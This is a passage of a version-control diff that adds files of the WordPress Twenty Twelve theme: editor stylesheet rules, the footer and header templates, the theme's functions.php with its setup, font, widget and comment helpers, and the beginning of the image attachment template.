+input[type="text"] {
+	border: 1px solid #ccc;
+	border-radius: 3px;
+	font-family: inherit;
+	padding: 6px;
+	padding: 0.428571429rem;
+}
+textarea {
+	border: 1px solid #d5d2ca;
+	border-radius: 3px;
+	font-family: inherit;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 1.714285714;
+	padding: 10px;
+	padding: 0.714285714rem;
+	width: 96%;
+}
+
+
+/* =Links
+-------------------------------------------------------------- */
+
+a,
+a em,
+a strong {
+	color: #21759b;
+	outline: none;
+}
+a:focus,
+a:active,
+a:hover {
+	color: #0f3647;
+}
+
+
+/* =Alignment
+-------------------------------------------------------------- */
+
+.alignleft {
+	display: inline;
+	float: left;
+	margin: 12px 24px 12px 0;
+	margin: 0.857142857rem 1.714285714rem 0.857142857rem 0;
+}
+.alignright {
+	display: inline;
+	float: right;
+	margin: 12px 0 12px 24px;
+	margin: 0.857142857rem 0 0.857142857rem 1.714285714rem;
+}
+.aligncenter {
+	clear: both;
+	display: block;
+	margin-top: 12px;
+	margin-top: 0.857142857rem;
+	margin-bottom: 12px;
+	margin-bottom: 0.857142857rem;
+}
+
+
+/* =Tables
+-------------------------------------------------------------- */
+
+table {
+	border-bottom: 1px solid #ededed;
+	border-collapse: collapse;
+	border-spacing: 0;
+	color: #757575;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+	margin: 0 0 24px;
+	margin: 0 0 1.714285714rem;
+	width: 100%;
+}
+tr th {
+	color: #636363;
+	font-size: 11px;
+	font-size: 0.785714286rem;
+	font-weight: bold;
+	line-height: 2.181818182;
+	text-align: left;
+	text-transform: uppercase;
+}
+td {
+	border-top: 1px solid #ededed !important;
+	color: #757575;
+	font-size: inherit;
+	font-weight: normal;
+	padding: 6px 10px 6px 0;
+	text-align: left;
+}
+
+
+/* =Images
+-------------------------------------------------------------- */
+
+img,
+.editor-attachment {
+	border: 0;
+	border-radius: 3px;
+	box-shadow: 0 1px 4px rgba(0, 0, 0, 0.2);
+	max-width: 100%;
+}
+img.size-full {
+	width: auto/9; /* Prevent stretching of full-size images in IE8 */
+}
+img[class*="wp-image-"] {
+	height: auto;
+	max-width: 100%;
+}
+img[class*="align"],
+img[class*="wp-image-"],
+img[class*="attachment-"] {
+	height: auto; /* Make sure images with WordPress-added height and width attributes are scaled correctly */
+}
+img.mce-wp-nextpage {
+	border-radius: 0;
+	box-shadow: none;
+}
+img.wp-smiley {
+	border: 0;
+	border-radius: 0;
+	box-shadow: none;
+	margin-bottom: 0;
+	margin-top: 0;
+	padding: 0;
+}
+.wp-caption {
+	background: transparent;
+	border: none;
+	margin: 0;
+	padding: 4px;
+	text-align: left;
+}
+.wp-caption-dt {
+	margin: 0;
+}
+.wp-caption .wp-caption-text,
+.wp-caption-dd {
+	color: #757575;
+	font-style: italic;
+	font-size: 12px;
+	font-size: 0.857142857rem;
+	line-height: 2;
+	margin: 0 0 24px;
+	margin: 0 0 1.71429rem;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/footer.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/footer.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/footer.php	(revision 56912)
@@ -0,0 +1,30 @@
+<?php
+/**
+ * The template for displaying the footer
+ *
+ * Contains footer content and the closing of the #main and #page div elements.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?>
+	</div><!-- #main .wrapper -->
+	<footer id="colophon" role="contentinfo">
+		<div class="site-info">
+			<?php do_action( 'twentytwelve_credits' ); ?>
+			<?php
+			if ( function_exists( 'the_privacy_policy_link' ) ) {
+				the_privacy_policy_link( '', '<span role="separator" aria-hidden="true"></span>' );
+			}
+			?>
+			<a href="<?php echo esc_url( __( 'https://wordpress.org/', 'twentytwelve' ) ); ?>" class="imprint" title="<?php esc_attr_e( 'Semantic Personal Publishing Platform', 'twentytwelve' ); ?>">
+				<?php printf( __( 'Proudly powered by %s', 'twentytwelve' ), 'WordPress' ); ?>
+			</a>
+		</div><!-- .site-info -->
+	</footer><!-- #colophon -->
+</div><!-- #page -->
+
+<?php wp_footer(); ?>
+</body>
+</html>
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/functions.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/functions.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/functions.php	(revision 56912)
@@ -0,0 +1,635 @@
+<?php
+/**
+ * Twenty Twelve functions and definitions
+ *
+ * Sets up the theme and provides some helper functions, which are used
+ * in the theme as custom template tags. Others are attached to action and
+ * filter hooks in WordPress to change core functionality.
+ *
+ * When using a child theme (see https://codex.wordpress.org/Theme_Development and
+ * https://codex.wordpress.org/Child_Themes), you can override certain functions
+ * (those wrapped in a function_exists() call) by defining them first in your child theme's
+ * functions.php file. The child theme's functions.php file is included before the parent
+ * theme's file, so the child theme functions would be used.
+ *
+ * Functions that are not pluggable (not wrapped in function_exists()) are instead attached
+ * to a filter or action hook.
+ *
+ * For more information on hooks, actions, and filters, @link https://codex.wordpress.org/Plugin_API
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+// Set up the content width value based on the theme's design and stylesheet.
+if ( ! isset( $content_width ) )
+	$content_width = 625;
+
+/**
+ * Twenty Twelve setup.
+ *
+ * Sets up theme defaults and registers the various WordPress features that
+ * Twenty Twelve supports.
+ *
+ * @uses load_theme_textdomain() For translation/localization support.
+ * @uses add_editor_style() To add a Visual Editor stylesheet.
+ * @uses add_theme_support() To add support for post thumbnails, automatic feed links,
+ * 	custom background, and post formats.
+ * @uses register_nav_menu() To add support for navigation menus.
+ * @uses set_post_thumbnail_size() To set a custom post thumbnail size.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_setup() {
+	/*
+	 * Makes Twenty Twelve available for translation.
+	 *
+	 * Translations can be filed at WordPress.org. See: https://translate.wordpress.org/projects/wp-themes/twentytwelve
+	 * If you're building a theme based on Twenty Twelve, use a find and replace
+	 * to change 'twentytwelve' to the name of your theme in all the template files.
+	 */
+	load_theme_textdomain( 'twentytwelve' );
+
+	// This theme styles the visual editor with editor-style.css to match the theme style.
+	add_editor_style();
+
+	// Load regular editor styles into the new block-based editor.
+	add_theme_support( 'editor-styles' );
+
+	// Load default block styles.
+	add_theme_support( 'wp-block-styles' );
+
+	// Add support for responsive embeds.
+	add_theme_support( 'responsive-embeds' );
+
+	// Add support for custom color scheme.
+	add_theme_support( 'editor-color-palette', array(
+		array(
+			'name'  => __( 'Blue', 'twentytwelve' ),
+			'slug'  => 'blue',
+			'color' => '#21759b',
+		),
+		array(
+			'name'  => __( 'Dark Gray', 'twentytwelve' ),
+			'slug'  => 'dark-gray',
+			'color' => '#444',
+		),
+		array(
+			'name'  => __( 'Medium Gray', 'twentytwelve' ),
+			'slug'  => 'medium-gray',
+			'color' => '#9f9f9f',
+		),
+		array(
+			'name'  => __( 'Light Gray', 'twentytwelve' ),
+			'slug'  => 'light-gray',
+			'color' => '#e6e6e6',
+		),
+		array(
+			'name'  => __( 'White', 'twentytwelve' ),
+			'slug'  => 'white',
+			'color' => '#fff',
+		),
+	) );
+
+	// Adds RSS feed links to <head> for posts and comments.
+	add_theme_support( 'automatic-feed-links' );
+
+	// This theme supports a variety of post formats.
+	add_theme_support( 'post-formats', array( 'aside', 'image', 'link', 'quote', 'status' ) );
+
+	// This theme uses wp_nav_menu() in one location.
+	register_nav_menu( 'primary', __( 'Primary Menu', 'twentytwelve' ) );
+
+	/*
+	 * This theme supports custom background color and image,
+	 * and here we also set up the default background color.
+	 */
+	add_theme_support( 'custom-background', array(
+		'default-color' => 'e6e6e6',
+	) );
+
+	// This theme uses a custom image size for featured images, displayed on "standard" posts.
+	add_theme_support( 'post-thumbnails' );
+	set_post_thumbnail_size( 624, 9999 ); // Unlimited height, soft crop
+
+	// Indicate widget sidebars can use selective refresh in the Customizer.
+	add_theme_support( 'customize-selective-refresh-widgets' );
+}
+add_action( 'after_setup_theme', 'twentytwelve_setup' );
+
+/**
+ * Add support for a custom header image.
+ */
+require( get_template_directory() . '/inc/custom-header.php' );
+
+/**
+ * Return the Google font stylesheet URL if available.
+ *
+ * The use of Open Sans by default is localized. For languages that use
+ * characters not supported by the font, the font can be disabled.
+ *
+ * @since Twenty Twelve 1.2
+ *
+ * @return string Font stylesheet or empty string if disabled.
+ */
+function twentytwelve_get_font_url() {
+	$font_url = '';
+
+	/* translators: If there are characters in your language that are not supported
+	 * by Open Sans, translate this to 'off'. Do not translate into your own language.
+	 */
+	if ( 'off' !== _x( 'on', 'Open Sans font: on or off', 'twentytwelve' ) ) {
+		$subsets = 'latin,latin-ext';
+
+		/* translators: To add an additional Open Sans character subset specific to your language,
+		 * translate this to 'greek', 'cyrillic' or 'vietnamese'. Do not translate into your own language.
+		 */
+		$subset = _x( 'no-subset', 'Open Sans font: add new subset (greek, cyrillic, vietnamese)', 'twentytwelve' );
+
+		if ( 'cyrillic' == $subset )
+			$subsets .= ',cyrillic,cyrillic-ext';
+		elseif ( 'greek' == $subset )
+			$subsets .= ',greek,greek-ext';
+		elseif ( 'vietnamese' == $subset )
+			$subsets .= ',vietnamese';
+
+		$query_args = array(
+			'family' => 'Open+Sans:400italic,700italic,400,700',
+			'subset' => $subsets,
+		);
+		$font_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css' );
+	}
+
+	return $font_url;
+}
+
+/**
+ * Enqueue scripts and styles for front end.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_scripts_styles() {
+	global $wp_styles;
+
+	/*
+	 * Adds JavaScript to pages with the comment form to support
+	 * sites with threaded comments (when in use).
+	 */
+	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) )
+		wp_enqueue_script( 'comment-reply' );
+
+	// Adds JavaScript for handling the navigation menu hide-and-show behavior.
+	wp_enqueue_script( 'twentytwelve-navigation', get_template_directory_uri() . '/js/navigation.js', array( 'jquery' ), '20140711', true );
+
+	$font_url = twentytwelve_get_font_url();
+	if ( ! empty( $font_url ) )
+		wp_enqueue_style( 'twentytwelve-fonts', esc_url_raw( $font_url ), array(), null );
+
+	// Loads our main stylesheet.
+	wp_enqueue_style( 'twentytwelve-style', get_stylesheet_uri() );
+
+	// Theme block stylesheet.
+	wp_enqueue_style( 'twentytwelve-block-style', get_template_directory_uri() . '/css/blocks.css', array( 'twentytwelve-style' ), '20181230' );
+
+	// Loads the Internet Explorer specific stylesheet.
+	wp_enqueue_style( 'twentytwelve-ie', get_template_directory_uri() . '/css/ie.css', array( 'twentytwelve-style' ), '20121010' );
+	$wp_styles->add_data( 'twentytwelve-ie', 'conditional', 'lt IE 9' );
+}
+add_action( 'wp_enqueue_scripts', 'twentytwelve_scripts_styles' );
+
+/**
+ * Enqueue styles for the block-based editor.
+ *
+ * @since Twenty Twelve 2.6
+ */
+function twentytwelve_block_editor_styles() {
+	// Block styles.
+	wp_enqueue_style( 'twentytwelve-block-editor-style', get_template_directory_uri() . '/css/editor-blocks.css', array(), '20181230' );
+	// Add custom fonts.
+	wp_enqueue_style( 'twentytwelve-fonts', twentytwelve_get_font_url(), array(), null );
+}
+add_action( 'enqueue_block_editor_assets', 'twentytwelve_block_editor_styles' );
+
+/**
+ * Add preconnect for Google Fonts.
+ *
+ * @since Twenty Twelve 2.2
+ *
+ * @param array   $urls          URLs to print for resource hints.
+ * @param string  $relation_type The relation type the URLs are printed.
+ * @return array URLs to print for resource hints.
+ */
+function twentytwelve_resource_hints( $urls, $relation_type ) {
+	if ( wp_style_is( 'twentytwelve-fonts', 'queue' ) && 'preconnect' === $relation_type ) {
+		if ( version_compare( $GLOBALS['wp_version'], '4.7-alpha', '>=' ) ) {
+			$urls[] = array(
+				'href' => 'https://fonts.gstatic.com',
+				'crossorigin',
+			);
+		} else {
+			$urls[] = 'https://fonts.gstatic.com';
+		}
+	}
+
+	return $urls;
+}
+add_filter( 'wp_resource_hints', 'twentytwelve_resource_hints', 10, 2 );
+
+/**
+ * Filter TinyMCE CSS path to include Google Fonts.
+ *
+ * Adds additional stylesheets to the TinyMCE editor if needed.
+ *
+ * @uses twentytwelve_get_font_url() To get the Google Font stylesheet URL.
+ *
+ * @since Twenty Twelve 1.2
+ *
+ * @param string $mce_css CSS path to load in TinyMCE.
+ * @return string Filtered CSS path.
+ */
+function twentytwelve_mce_css( $mce_css ) {
+	$font_url = twentytwelve_get_font_url();
+
+	if ( empty( $font_url ) )
+		return $mce_css;
+
+	if ( ! empty( $mce_css ) )
+		$mce_css .= ',';
+
+	$mce_css .= esc_url_raw( str_replace( ',', '%2C', $font_url ) );
+
+	return $mce_css;
+}
+add_filter( 'mce_css', 'twentytwelve_mce_css' );
+
+/**
+ * Filter the page title.
+ *
+ * Creates a nicely formatted and more specific title element text
+ * for output in head of document, based on current view.
+ *
+ * @since Twenty Twelve 1.0
+ *
+ * @param string $title Default title text for current view.
+ * @param string $sep Optional separator.
+ * @return string Filtered title.
+ */
+function twentytwelve_wp_title( $title, $sep ) {
+	global $paged, $page;
+
+	if ( is_feed() )
+		return $title;
+
+	// Add the site name.
+	$title .= get_bloginfo( 'name', 'display' );
+
+	// Add the site description for the home/front page.
+	$site_description = get_bloginfo( 'description', 'display' );
+	if ( $site_description && ( is_home() || is_front_page() ) )
+		$title = "$title $sep $site_description";
+
+	// Add a page number if necessary.
+	if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() )
+		$title = "$title $sep " . sprintf( __( 'Page %s', 'twentytwelve' ), max( $paged, $page ) );
+
+	return $title;
+}
+add_filter( 'wp_title', 'twentytwelve_wp_title', 10, 2 );
+
+/**
+ * Filter the page menu arguments.
+ *
+ * Makes our wp_nav_menu() fallback -- wp_page_menu() -- show a home link.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_page_menu_args( $args ) {
+	if ( ! isset( $args['show_home'] ) )
+		$args['show_home'] = true;
+	return $args;
+}
+add_filter( 'wp_page_menu_args', 'twentytwelve_page_menu_args' );
+
+/**
+ * Register sidebars.
+ *
+ * Registers our main widget area and the front page widget areas.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_widgets_init() {
+	register_sidebar( array(
+		'name' => __( 'Main Sidebar', 'twentytwelve' ),
+		'id' => 'sidebar-1',
+		'description' => __( 'Appears on posts and pages except the optional Front Page template, which has its own widgets', 'twentytwelve' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget' => '</aside>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	register_sidebar( array(
+		'name' => __( 'First Front Page Widget Area', 'twentytwelve' ),
+		'id' => 'sidebar-2',
+		'description' => __( 'Appears when using the optional Front Page template with a page set as Static Front Page', 'twentytwelve' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget' => '</aside>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	register_sidebar( array(
+		'name' => __( 'Second Front Page Widget Area', 'twentytwelve' ),
+		'id' => 'sidebar-3',
+		'description' => __( 'Appears when using the optional Front Page template with a page set as Static Front Page', 'twentytwelve' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget' => '</aside>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+}
+add_action( 'widgets_init', 'twentytwelve_widgets_init' );
+
+if ( ! function_exists( 'twentytwelve_content_nav' ) ) :
+/**
+ * Displays navigation to next/previous pages when applicable.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_content_nav( $html_id ) {
+	global $wp_query;
+
+	if ( $wp_query->max_num_pages > 1 ) : ?>
+		<nav id="<?php echo esc_attr( $html_id ); ?>" class="navigation" role="navigation">
+			<h3 class="assistive-text"><?php _e( 'Post navigation', 'twentytwelve' ); ?></h3>
+			<div class="nav-previous"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'twentytwelve' ) ); ?></div>
+			<div class="nav-next"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?></div>
+		</nav><!-- .navigation -->
+	<?php endif;
+}
+endif;
+
+if ( ! function_exists( 'twentytwelve_comment' ) ) :
+/**
+ * Template for comments and pingbacks.
+ *
+ * To override this walker in a child theme without modifying the comments template
+ * simply create your own twentytwelve_comment(), and that function will be used instead.
+ *
+ * Used as a callback by wp_list_comments() for displaying the comments.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_comment( $comment, $args, $depth ) {
+	$GLOBALS['comment'] = $comment;
+	switch ( $comment->comment_type ) :
+		case 'pingback' :
+		case 'trackback' :
+		// Display trackbacks differently than normal comments.
+	?>
+	<li <?php comment_class(); ?> id="comment-<?php comment_ID(); ?>">
+		<p><?php _e( 'Pingback:', 'twentytwelve' ); ?> <?php comment_author_link(); ?> <?php edit_comment_link( __( '(Edit)', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?></p>
+	<?php
+			break;
+		default :
+		// Proceed with normal comments.
+		global $post;
+	?>
+	<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>">
+		<article id="comment-<?php comment_ID(); ?>" class="comment">
+			<header class="comment-meta comment-author vcard">
+				<?php
+					echo get_avatar( $comment, 44 );
+					printf( '<cite><b class="fn">%1$s</b> %2$s</cite>',
+						get_comment_author_link(),
+						// If current post author is also comment author, make it known visually.
+						( $comment->user_id === $post->post_author ) ? '<span>' . __( 'Post author', 'twentytwelve' ) . '</span>' : ''
+					);
+					printf( '<a href="%1$s"><time datetime="%2$s">%3$s</time></a>',
+						esc_url( get_comment_link( $comment->comment_ID ) ),
+						get_comment_time( 'c' ),
+						/* translators: 1: date, 2: time */
+						sprintf( __( '%1$s at %2$s', 'twentytwelve' ), get_comment_date(), get_comment_time() )
+					);
+				?>
+			</header><!-- .comment-meta -->
+
+			<?php if ( '0' == $comment->comment_approved ) : ?>
+				<p class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.', 'twentytwelve' ); ?></p>
+			<?php endif; ?>
+
+			<section class="comment-content comment">
+				<?php comment_text(); ?>
+				<?php edit_comment_link( __( 'Edit', 'twentytwelve' ), '<p class="edit-link">', '</p>' ); ?>
+			</section><!-- .comment-content -->
+
+			<div class="reply">
+				<?php comment_reply_link( array_merge( $args, array( 'reply_text' => __( 'Reply', 'twentytwelve' ), 'after' => ' <span>&darr;</span>', 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
+			</div><!-- .reply -->
+		</article><!-- #comment-## -->
+	<?php
+		break;
+	endswitch; // end comment_type check
+}
+endif;
+
+if ( ! function_exists( 'twentytwelve_entry_meta' ) ) :
+/**
+ * Set up post entry meta.
+ *
+ * Prints HTML with meta information for current post: categories, tags, permalink, author, and date.
+ *
+ * Create your own twentytwelve_entry_meta() to override in a child theme.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_entry_meta() {
+	// Translators: used between list items, there is a space after the comma.
+	$categories_list = get_the_category_list( __( ', ', 'twentytwelve' ) );
+
+	// Translators: used between list items, there is a space after the comma.
+	$tag_list = get_the_tag_list( '', __( ', ', 'twentytwelve' ) );
+
+	$date = sprintf( '<a href="%1$s" title="%2$s" rel="bookmark"><time class="entry-date" datetime="%3$s">%4$s</time></a>',
+		esc_url( get_permalink() ),
+		esc_attr( get_the_time() ),
+		esc_attr( get_the_date( 'c' ) ),
+		esc_html( get_the_date() )
+	);
+
+	$author = sprintf( '<span class="author vcard"><a class="url fn n" href="%1$s" title="%2$s" rel="author">%3$s</a></span>',
+		esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
+		esc_attr( sprintf( __( 'View all posts by %s', 'twentytwelve' ), get_the_author() ) ),
+		get_the_author()
+	);
+
+	// Translators: 1 is category, 2 is tag, 3 is the date and 4 is the author's name.
+	if ( $tag_list ) {
+		$utility_text = __( 'This entry was posted in %1$s and tagged %2$s on %3$s<span class="by-author"> by %4$s</span>.', 'twentytwelve' );
+	} elseif ( $categories_list ) {
+		$utility_text = __( 'This entry was posted in %1$s on %3$s<span class="by-author"> by %4$s</span>.', 'twentytwelve' );
+	} else {
+		$utility_text = __( 'This entry was posted on %3$s<span class="by-author"> by %4$s</span>.', 'twentytwelve' );
+	}
+
+	printf(
+		$utility_text,
+		$categories_list,
+		$tag_list,
+		$date,
+		$author
+	);
+}
+endif;
+
+/**
+ * Extend the default WordPress body classes.
+ *
+ * Extends the default WordPress body class to denote:
+ * 1. Using a full-width layout, when no active widgets in the sidebar
+ *    or full-width template.
+ * 2. Front Page template: thumbnail in use and number of sidebars for
+ *    widget areas.
+ * 3. White or empty background color to change the layout and spacing.
+ * 4. Custom fonts enabled.
+ * 5. Single or multiple authors.
+ *
+ * @since Twenty Twelve 1.0
+ *
+ * @param array $classes Existing class values.
+ * @return array Filtered class values.
+ */
+function twentytwelve_body_class( $classes ) {
+	$background_color = get_background_color();
+	$background_image = get_background_image();
+
+	if ( ! is_active_sidebar( 'sidebar-1' ) || is_page_template( 'page-templates/full-width.php' ) )
+		$classes[] = 'full-width';
+
+	if ( is_page_template( 'page-templates/front-page.php' ) ) {
+		$classes[] = 'template-front-page';
+		if ( has_post_thumbnail() )
+			$classes[] = 'has-post-thumbnail';
+		if ( is_active_sidebar( 'sidebar-2' ) && is_active_sidebar( 'sidebar-3' ) )
+			$classes[] = 'two-sidebars';
+	}
+
+	if ( empty( $background_image ) ) {
+		if ( empty( $background_color ) )
+			$classes[] = 'custom-background-empty';
+		elseif ( in_array( $background_color, array( 'fff', 'ffffff' ) ) )
+			$classes[] = 'custom-background-white';
+	}
+
+	// Enable custom font class only if the font CSS is queued to load.
+	if ( wp_style_is( 'twentytwelve-fonts', 'queue' ) )
+		$classes[] = 'custom-font-enabled';
+
+	if ( ! is_multi_author() )
+		$classes[] = 'single-author';
+
+	return $classes;
+}
+add_filter( 'body_class', 'twentytwelve_body_class' );
+
+/**
+ * Adjust content width in certain contexts.
+ *
+ * Adjusts content_width value for full-width and single image attachment
+ * templates, and when there are no active widgets in the sidebar.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_content_width() {
+	if ( is_page_template( 'page-templates/full-width.php' ) || is_attachment() || ! is_active_sidebar( 'sidebar-1' ) ) {
+		global $content_width;
+		$content_width = 960;
+	}
+}
+add_action( 'template_redirect', 'twentytwelve_content_width' );
+
+/**
+ * Register postMessage support.
+ *
+ * Add postMessage support for site title and description for the Customizer.
+ *
+ * @since Twenty Twelve 1.0
+ *
+ * @param WP_Customize_Manager $wp_customize Customizer object.
+ */
+function twentytwelve_customize_register( $wp_customize ) {
+	$wp_customize->get_setting( 'blogname' )->transport         = 'postMessage';
+	$wp_customize->get_setting( 'blogdescription' )->transport  = 'postMessage';
+	$wp_customize->get_setting( 'header_textcolor' )->transport = 'postMessage';
+
+	if ( isset( $wp_customize->selective_refresh ) ) {
+		$wp_customize->selective_refresh->add_partial( 'blogname', array(
+			'selector' => '.site-title > a',
+			'container_inclusive' => false,
+			'render_callback' => 'twentytwelve_customize_partial_blogname',
+		) );
+		$wp_customize->selective_refresh->add_partial( 'blogdescription', array(
+			'selector' => '.site-description',
+			'container_inclusive' => false,
+			'render_callback' => 'twentytwelve_customize_partial_blogdescription',
+		) );
+	}
+}
+add_action( 'customize_register', 'twentytwelve_customize_register' );
+
+/**
+ * Render the site title for the selective refresh partial.
+ *
+ * @since Twenty Twelve 2.0
+ * @see twentytwelve_customize_register()
+ *
+ * @return void
+ */
+function twentytwelve_customize_partial_blogname() {
+	bloginfo( 'name' );
+}
+
+/**
+ * Render the site tagline for the selective refresh partial.
+ *
+ * @since Twenty Twelve 2.0
+ * @see twentytwelve_customize_register()
+ *
+ * @return void
+ */
+function twentytwelve_customize_partial_blogdescription() {
+	bloginfo( 'description' );
+}
+
+/**
+ * Enqueue Javascript postMessage handlers for the Customizer.
+ *
+ * Binds JS handlers to make the Customizer preview reload changes asynchronously.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_customize_preview_js() {
+	wp_enqueue_script( 'twentytwelve-customizer', get_template_directory_uri() . '/js/theme-customizer.js', array( 'customize-preview' ), '20141120', true );
+}
+add_action( 'customize_preview_init', 'twentytwelve_customize_preview_js' );
+
+
+/**
+ * Modifies tag cloud widget arguments to display all tags in the same font size
+ * and use list format for better accessibility.
+ *
+ * @since Twenty Twelve 2.4
+ *
+ * @param array $args Arguments for tag cloud widget.
+ * @return array The filtered arguments for tag cloud widget.
+ */
+function twentytwelve_widget_tag_cloud_args( $args ) {
+	$args['largest']  = 22;
+	$args['smallest'] = 8;
+	$args['unit']     = 'pt';
+	$args['format']   = 'list';
+
+	return $args;
+}
+add_filter( 'widget_tag_cloud_args', 'twentytwelve_widget_tag_cloud_args' );
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/header.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/header.php	(revision 56912)
@@ -0,0 +1,53 @@
+<?php
+/**
+ * The Header template for our theme
+ *
+ * Displays all of the <head> section and everything up till <div id="main">
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?><!DOCTYPE html>
+<!--[if IE 7]>
+<html class="ie ie7" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if IE 8]>
+<html class="ie ie8" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if !(IE 7) & !(IE 8)]><!-->
+<html <?php language_attributes(); ?>>
+<!--<![endif]-->
+<head>
+<meta charset="<?php bloginfo( 'charset' ); ?>" />
+<meta name="viewport" content="width=device-width" />
+<title><?php wp_title( '|', true, 'right' ); ?></title>
+<link rel="profile" href="http://gmpg.org/xfn/11" />
+<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
+<?php // Loads HTML5 JavaScript file to add support for HTML5 elements in older IE versions. ?>
+<!--[if lt IE 9]>
+<script src="<?php echo get_template_directory_uri(); ?>/js/html5.js" type="text/javascript"></script>
+<![endif]-->
+<?php wp_head(); ?>
+</head>
+
+<body <?php body_class(); ?>>
+<div id="page" class="hfeed site">
+	<header id="masthead" class="site-header" role="banner">
+		<hgroup>
+			<h1 class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></h1>
+			<h2 class="site-description"><?php bloginfo( 'description' ); ?></h2>
+		</hgroup>
+
+		<nav id="site-navigation" class="main-navigation" role="navigation">
+			<button class="menu-toggle"><?php _e( 'Menu', 'twentytwelve' ); ?></button>
+			<a class="assistive-text" href="#content" title="<?php esc_attr_e( 'Skip to content', 'twentytwelve' ); ?>"><?php _e( 'Skip to content', 'twentytwelve' ); ?></a>
+			<?php wp_nav_menu( array( 'theme_location' => 'primary', 'menu_class' => 'nav-menu' ) ); ?>
+		</nav><!-- #site-navigation -->
+
+		<?php if ( get_header_image() ) : ?>
+		<a href="<?php echo esc_url( home_url( '/' ) ); ?>"><img src="<?php header_image(); ?>" class="header-image" width="<?php echo esc_attr( get_custom_header()->width ); ?>" height="<?php echo esc_attr( get_custom_header()->height ); ?>" alt="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" /></a>
+		<?php endif; ?>
+	</header><!-- #masthead -->
+
+	<div id="main" class="wrapper">
Index: /tags/5.0.20/src/wp-content/themes/twentytwelve/image.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentytwelve/image.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentytwelve/image.php	(revision 56912)
@@ -0,0 +1,116 @@
+<?php
+/**
+ * The template for displaying image attachments
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="site-content">
+		<div id="content" role="main">
+
+		<?php while ( have_posts() ) : the_post(); ?>
+
+				<article id="post-<?php the_ID(); ?>" <?php post_class( 'image-attachment' ); ?>>
+					<header class="entry-header">
+						<h1 class="entry-title"><?php the_title(); ?></h1>
+
+						<footer class="entry-meta">
+							<?php
+								$metadata = wp_get_attachment_metadata();
+								printf( __( '<span class="meta-prep meta-prep-entry-date">Published </span> <span class="entry-date"><time class="entry-date" datetime="%1$s">%2$s</time></span> at <a href="%3$s" title="Link to full-size image">%4$s &times; %5$s</a> in <a href="%6$s" title="Return to %7$s" rel="gallery">%8$s</a>.', 'twentytwelve' ),
+									esc_attr( get_the_date( 'c' ) ),
+									esc_html( get_the_date() ),
+									esc_url( wp_get_attachment_url() ),
+									$metadata['width'],
+									$metadata['height'],
+									esc_url( get_permalink( $post->post_parent ) ),
+									esc_attr( strip_tags( get_the_title( $post->post_parent ) ) ),
+									get_the_title( $post->post_parent )
+								);
+							?>
+							<?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?>
+						</footer><!-- .entry-meta -->
+
+						<nav id="image-navigation" class="navigation" role="navigation">
+							<span class="previous-image"><?php previous_image_link( false, __( '&larr; Previous', 'twentytwelve' ) ); ?></span>
+							<span class="next-image"><?php next_image_link( false, __( 'Next &rarr;', 'twentytwelve' ) ); ?></span>
+						</nav><!-- #image-navigation -->
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+
+						<div class="entry-attachment">
+							<div class="attachment">
+<?php
+/*
